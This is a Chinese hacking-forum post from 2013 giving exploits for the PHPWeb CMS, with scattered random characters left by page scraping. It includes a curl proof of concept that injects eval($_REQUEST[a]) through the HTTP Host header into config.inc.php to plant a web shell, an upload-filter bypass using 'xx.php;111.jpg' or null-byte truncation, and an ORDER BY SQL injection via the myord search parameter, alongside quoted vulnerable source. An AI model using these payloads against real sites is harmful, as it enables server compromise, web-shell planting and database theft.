找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2386|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:9 R3 o: o" x$ K. a7 F; h+ K/ g- ?
4 I; Y2 a0 a! m0 T$ H  d* o- P
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
# C+ I. G9 V; K+ n3 b" H  F+ g( j% u ' f3 \- @* ~* D+ ~6 m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
2 b& K2 B/ e! n鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 G! a( _8 e8 N# N5 J1 Q0 o
. w1 G4 w" `' ^6 p- F4 ^: ^虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
" S* ]' k7 G/ e4 n 1 m0 ]$ ]. U1 q* }! I' M4 ?8 {
分析:, g# g& |9 p5 c% ^6 X: h
5 K. ~3 w, G4 I( r# C- c3 q

. Y6 l$ E9 s( I7 |$ E' i$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ L) n2 X  r  E

. N; |4 G2 e0 W9 Y! B2 o5 f                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
- }8 ~' R" Z. d8 ?5 e. ~" |: S. I                                            $filestr=str_replace(" ","",$filestr);
2 Z: ?$ M  c/ ~* Y                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);; Z6 ^% O. H5 L2 `6 h
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);0 D  @! h6 e4 P- {( ]
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ g: U6 W( [& W2 y" H4 o
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$ ^$ s# N$ Y6 a" e                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 w$ I' \2 F$ W9 G
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);: @0 B+ D" `# G. n' g: H
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
' G0 `3 p9 k) O! z
6 o' y1 m# ~: h1 M$ P- }                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
( o/ M/ `( a8 v" K$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^' q5 M# z) x% N0 v$ _4 v. o$ l
, @9 N  b( t: ~& c. g8 b! v7 X" E
poc:
+ C8 L8 t- d' n: V  ] ) p5 V+ g$ f) ?/ d) L) }
?! @; P$ [6 R, t) Y
1' l8 K. _% h7 e, b
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
* k  [8 T3 G5 J% e- zshell地址: /config.inc.php2 t7 R; _2 J: `: ~( ~1 N$ y
跟之前的 phpcms一样 需要远程数据库
/ I' R2 X( g7 C% ^2 I
1 ~5 o1 \, r- v/ n% a; P——————————————————–  `9 A, i. s+ L: a1 _- Q- ?/ R
上传漏洞(需要进后台):
3 O+ y+ `2 o. Q4 P$ O, p* b+ m漏洞文件: /kedit/upload_cgi/upload.php) g& ~3 x* d( y* X
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用$ f, s4 _* [# J& w+ w  q

- L" F' M9 F- n6 q% Q
: ^( R5 H1 ?# n% A, j<?php
# w9 A, w& B2 o+ _9 ~. o1 o  Z    define("ROOTPATH", "../../");
- O+ h; S/ B% `& H0 s5 A    include(ROOTPATH."includes/admin.inc.php");
; t4 L9 f+ H. Y9 @! N    NeedAuth(0);
8 W' h1 L) A% n1 H" i & ?5 \. |( C8 \8 K! q8 B: R
    $dt=date("Ymd",time());
/ J  B. ~! w- y: s: n& g7 c4 m& S    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
  L: `, `! R( d+ b3 W2 \' k            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 _0 R7 M4 Y, `/ T    }
; }6 ~8 T% a$ v  P$ E6 v% L
9 C$ y* p: G3 L# G' }' Q8 I( c    //文件保存目录路径
  F5 C0 Z% z0 ?  \2 X    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';% K: v& k! H0 y9 E1 P$ \; n# @# }
    echo $save_path;
4 c! M9 [# T, [) K( o9 ~+ Z    //文件保存目录URL3 q* c' D9 q( p* M' Y& b7 C; f
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';+ F# P- q5 {# l

! o8 l" |2 M5 P2 o! X: c    //定义允许上传的文件扩展名
; r/ H5 l# U% W; a' @5 d    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 [- S  T( L" b5 _3 i9 J1 E$ Y " {: {! n7 f0 k& j+ D
    //最大文件大小: a) c8 W1 Z9 z
    $max_size = 1000000;% \# g5 }% F$ _8 M9 D0 S

2 B* b/ N* K# V" w6 G( A) y    //更改目录权限& t4 `, |. ?2 o+ T; ?. M+ M
    @mkdir($save_path, 0777);# w# |4 j( d. x; U
$ X/ j# S, G# s) C
    //文件的全部路径
0 S5 S2 ?# k0 }' B& f' i- ]' Y3 ]3 G    $file_path = $save_path.$_POST['fileName'];   //保存文件名( P# l6 {3 u; ^4 [5 {! D' _1 u

. r- x+ }2 b* |# D2 B7 M8 ~. _3 j    //文件URL
. Y% R! u8 D, N# k& P    $file_url = $save_url.$_POST['fileName'];* k& \2 I" a1 p  Z0 Z
//有上传文件时- s" [$ ?$ `1 `2 H  R4 e( k
    if (empty($_FILES) === false) {- V& I: n! y2 C* J% T( H$ [4 R& h  [

4 w7 m$ p1 j" R* o0 a            //原文件名
& @: }+ B5 x0 A5 D) ?            $file_name = $_FILES['fileData']['name'];
, ~- J; T4 {8 {; d            //服务器上临时文件名
2 c( Z/ i# l1 H+ F            $tmp_name = $_FILES['fileData']['tmp_name'];
+ l0 i* _  j) A% u9 E            //文件大小
3 ?( ?( P& T) X: Z, w* G  r4 C            $file_size = $_FILES['fileData']['size'];
2 v. f/ i; G/ Z4 W0 U% M5 n            //检查目录7 H/ X  F7 a6 k: ]
            if (@is_dir($save_path) === false) {4 H- _) P+ ^/ R( K# T; i
                    alert("上传目录不存在。");
0 Q9 o4 S3 y8 v* ]            }
- F. U; f8 f$ F) m1 \; S3 e            //检查目录写权限% i# ~9 h( J6 ]7 R/ p8 d! U- Q' d0 u
            if (@is_writable($save_path) === false) {1 V6 q0 [4 Y8 e8 ^7 h
                    alert("上传目录没有写权限。");- q3 k; U! v$ n* ?
            }
0 N2 m8 F" M! f8 m. ^) A0 v7 r            //检查是否已上传
# L; a% s2 w0 E& A& A2 r" W            if (@is_uploaded_file($tmp_name) === false) {
  w: }1 p% f6 n5 U6 y                    alert("临时文件可能不是上传文件。");, u1 i. i, g- J. z; h
            }
* ?1 ~' T' K4 K# f            //检查文件大小8 D" K' P4 m* L- _# |2 W
            if ($file_size > $max_size) {
9 I3 d( [+ ~1 a$ T                    alert("上传文件大小超过限制。");
  ]8 r% _1 B! m8 E* U. I# R5 x, C            }
: b6 a) E! w+ V9 {) B3 e. ^            //获得文件扩展名
8 q( }: V/ m. g+ N4 n/ Q+ j7 ]            $temp_arr = explode(".", $_POST['fileName']);
4 }- f2 h5 |9 a8 s$ t8 k            $file_ext = array_pop($temp_arr);9 [2 h8 N  K7 j$ D, x7 `0 w
            $file_ext = trim($file_ext);3 `* f3 _" g. p: ~* f! c
            $file_ext = strtolower($file_ext);% b' r( k. ~/ b/ f: C! ~3 L2 s2 f5 P& |

7 k! {; q3 |5 A3 D$ O2 X7 A1 I            //检查扩展名   
2 J" ?+ J5 B) ?4 S            if (in_array($file_ext, $ext_arr) === false) {     
% q+ W* P3 H' T: h                    alert("上传文件扩展名是不允许的扩展名。");
: y) c3 k) e& z2 f3 K            }
/ A- Y5 Z8 L* m- @" x" s6 v
5 i0 w. n8 C1 t! v            //移动文件   # `5 R, N8 g1 D: h$ ~
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^. K% }' T# M/ q; W2 ^8 s
            if (move_uploaded_file($tmp_name, $file_path) === false) {" M/ _" A& H# Y) y  C5 F( n
                    alert("上传文件失败。");. Y3 \' o7 d5 c" s7 t% q9 \
            }* s& K+ r' w  ?4 A( [9 @6 v
9 }! G" }9 T' M. Y+ l* R/ D
            @chmod($file_path,0666);
6 z5 G3 [3 C' A9 Y0 B' h* Y 4 z. ]$ s# l# Y: r  k! D$ ?
    ?>3 \4 \. P2 O0 l% Y* K8 |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ l8 s0 ~/ W4 p5 A* G

) m! S6 X0 Y& J9 Y% A, Uapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 b) C* A% V! n+ A $ L$ s- v- n8 Y$ {
——————————————————/ u5 @" n6 {4 ?5 c& j, [
注入漏洞:0 b  @2 l, @% Y5 ~: V; R+ y
漏洞文件:search/module/search.php
3 h5 a8 V  X+ j* y% ^' A4 y7 R/search/index.php?key=1&myord=1 [sqlinjection]1 X  n/ F1 z5 }4 M  P$ t

6 |% V7 T" [! i5 k! \' E( z : I" `: H) E5 T& l4 I
<?php4 ~! S# K$ V6 P0 s" U) K; H9 ~2 R
   //       ... 省略 n 行...
2 G& V2 a' J: x+ c" V0 s   //第18行:
4 h6 s) w' I5 l0 g3 J           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响$ M) b, @6 e" h4 C2 m/ G1 J+ p
           $page=htmlspecialchars($_GET["page"]);
) a. i/ w9 Y- @9 H8 q           $myord=htmlspecialchars($_GET["myord"]);+ [. ^) z( \  N  V; u  C2 S% k

( s0 ]( R; B7 ]. A; x% q: U   //       ... 省略 n 行...
; L" T$ h4 b% e2 L7 C   $key,$myord 两个参数带入查询2 W: `( D: h9 Q# f$ H  N: y
   //第47行 $key:
. o0 Y  r  ~. }3 y. A# O4 { ' p: `: `0 e0 ]) b% o  ~
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
& Y9 h8 z' P7 b' v7 h$ Z% v- [ $ Q+ r! M$ Z8 A! P# F1 `2 U' e
   //第197行 $myord
3 j7 q/ H1 t2 B$ C+ `, G3 B   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入. X) O/ V- B+ D  E% o

5 O2 [3 Q, g! H8 f5 ]4 z   ?>3 |' A0 z. u1 \7 k# Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表